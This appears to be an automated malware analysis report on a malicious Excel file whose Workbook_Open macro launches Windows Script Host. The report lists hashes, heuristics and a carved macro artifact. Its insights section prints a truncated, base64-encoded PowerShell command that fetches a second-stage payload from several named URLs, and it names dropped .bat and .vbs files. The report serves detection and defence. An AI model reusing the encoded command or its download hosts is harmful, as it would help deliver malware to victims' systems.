Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 efbfaaf9561c487a…

MALICIOUS

Office (OLE) / .XLSX

145.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: cd1ad0deac9d6f3fc27e64812be5ee08 SHA-1: 90b1feb680c5b81722f8de47260e1d8b94bbad81 SHA-256: efbfaaf9561c487a75ded2166a8d9f398b684dd0eea487972194c4d8477be8f3
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1059.005 Visual Basic

The file contains VBA macros, specifically a Workbook_Open macro, which is designed to execute arbitrary commands. The script utilizes 'CreateObject' to instantiate 'Wscript.Shell' and 'Scripting.FileSystemObject', indicating an intent to interact with the operating system. The reconstructed command line `hell -e JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHIAZQB1AG0AYQB0AGkAcwBtAGMAbABpAG4AaQBjAC4AYwBvAG0ALwAtAC8AcwBjAEMAbgBtADMAbQBiAEoAUgBwAHMAYQBCAEsAQgBiAHIAQwAvACwAaAB0AHQAcABzADoALwAvAHMAaABvAGQAaABtAGEAbgBqAGEAcgBpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB4AGoARQBtAEsANABQAGQAMwBOAC8ALABoAHQAdABwADoALwAvAHQAdQBiAGUAbABvAGMAYQBsAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBYADQAWABtADQATQBrAC8ALABoAHQAdABwAHMAOgAvAC8AcABhAGMAaQBmAGkAYwBoAG8AbQBlAGIAcgBvAGsAZQByAC4AYwBvAG0ALwByAG8AZABlAHIAaQBjAGsALwBSAFIAawAvACwAaAB0AHQAcABzADoALwAvAG0AbwBsAGkAbgBhAGkALQBqAG8AdQByAG4AYQBsAC4A` suggests the download and execution of a second-stage payload from multiple URLs. The presence of `c:\programdata\jledshf.bat` and `c:\programdata\sduoixo.vbs` further indicates the creation of malicious files on the system.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b
vba-macro oletools.olevba.extract_macros (decoded VBA source) 7821 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.